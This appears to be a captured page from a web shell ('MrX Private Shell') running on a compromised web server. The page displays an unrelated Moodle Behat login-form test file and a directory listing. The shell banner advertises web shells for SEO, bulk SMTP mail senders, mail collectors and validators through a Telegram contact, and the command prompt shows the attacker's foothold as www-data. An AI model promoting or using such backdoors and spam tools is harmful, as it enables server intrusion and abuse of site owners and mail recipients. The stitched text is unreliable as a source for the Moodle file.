__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@auth @core_auth @javascript
Feature: Test if the login form provides the correct feedback
  In order to check if the login form provides correct feedback
  As a user
  I need to go on login page and see feedback on incorrect username or password.

  Background:
    Given the following "users" exist:
      | username |
      | teacher1 |

  Scenario: Check invalid login message
    Given I follow "Log in"
    And I set the field "Username" to "teacher1"
    And I set the field "Password" to "incorrect"
    When I press "Log in"
    Then I should see "Invalid login, please try again"

  Scenario: Test login language selector
    Given remote langimport tests are enabled
    And the following "language packs" exist:
      | language |
      | nl       |
      | es       |
    And the following config values are set as admin:
      | langmenu | 1 |
    And I follow "Log in"
    And I open the action menu in "region-main" "region"
    # The line below contains the unicode character U+200E before and after the brackets, please be very careful editing this line.
    When I choose "Nederlands ‎(nl)‎" in the open action menu
    Then I should see "Gebruikersnaam"

  @_file_upload
  Scenario: Set logo for loginpage
    Given I log in as "admin"
    And I navigate to "Appearance > Logos" in site administration
    And I upload "course/tests/fixtures/image.jpg" file to "Logo" filemanager
    And I press "Save changes"
    And I log out
    And I follow "Log in"
    Then "//img[@id='logoimage']" "xpath_element" should exist

  Scenario: Add a custom welcome message
    Given the following config values are set as admin:
      | auth_instructions | Lorem ipsum dolor sit amet |
    And I follow "Log in"
    Then I should see "Lorem ipsum dolor sit amet"

  @javascript @accessibility
  Scenario: Show the maintenance mode message
    Given the following config values are set as admin:
      | maintenance_enabled | 1                     |
      | maintenance_message | Back online tomorrow  |
    And I follow "Log in"
    Then I should see "Back online tomorrow"
    And the page should meet accessibility standards with "best-practice" extra tests

  Scenario: User self registration
    Given the following config values are set as admin:
      | registerauth | Email-based self-registration |
    And I follow "Log in"
    Then I should see "Create new account"

  Scenario: Set OAuth providers
    Given I log in as "admin"
    And I navigate to "Plugins > Authentication > Manage authentication" in site administration
    And I click on "Enable" "link" in the "OAuth 2" "table_row"
    And I navigate to "Server > OAuth 2 services" in site administration
    And I press "Google"
    And I set the field "Client ID" to "1234"
    And I set the field "Client secret" to "1234"
    And I press "Save changes"
    And I press "Facebook"
    And I set the field "Client ID" to "1234"
    And I set the field "Client secret" to "1234"
    And I press "Save changes"
    And I press "Microsoft"
    And I set the field "Client ID" to "1234"
    And I set the field "Client secret" to "1234"
    And I press "Save changes"
    And I log out
    And I follow "Log in"
    Then I should see "Google"
    And I should see "Facebook"
    And I should see "Microsoft"

  Scenario: Test the login page auto focus feature
    Given the following config values are set as admin:
      | loginpageautofocus | Enabled |
    And I follow "Log in"
    Then the focused element is "Username" "field"
    And I set the field "Username" to "admin"
    And I set the field "Password" to "admin"
    And I press "Log in"
    And I log out
    And I follow "Log in"
    Then the focused element is "Password" "field"

  Scenario: Test the login page focus after error feature
    Given I follow "Log in"
    And I set the field "Username" to "admin"
    And I set the field "Password" to "wrongpassword"
    And I press "Log in"
    And I press the tab key
    Then the focused element is "Username" "field"

  Scenario: Display the password visibility toggle icon
    Given the following config values are set as admin:
      | loginpasswordtoggle | 1 |
    When I follow "Log in"
    Then "Toggle sensitive" "button" should be visible
    And the following config values are set as admin:
      | loginpasswordtoggle | 0 |
    And I reload the page
    And "Toggle sensitive" "button" should not be visible

  Scenario: Display the password visibility toggle icon for small screens only
    Given the following config values are set as admin:
      | loginpasswordtoggle | 2 |
    When I follow "Log in"
    Then "Toggle sensitive" "button" should not be visible
    And I change the viewport size to "mobile"
    And "Toggle sensitive" "button" should be visible

Filemanager

Name Type Size Permission Actions
behat_auth.php File 2.5 KB 0777
displayloginfailures.feature File 2.91 KB 0777
login.feature File 3.13 KB 0777
login.php File 2.97 KB 0777
loginform.feature File 4.66 KB 0777
logout.php File 1.33 KB 0777
rememberusername.feature File 2.31 KB 0777
validateagedigitalconsentmap.feature File 2.52 KB 0777
verifyageofconsent.feature File 2 KB 0777
Filemanager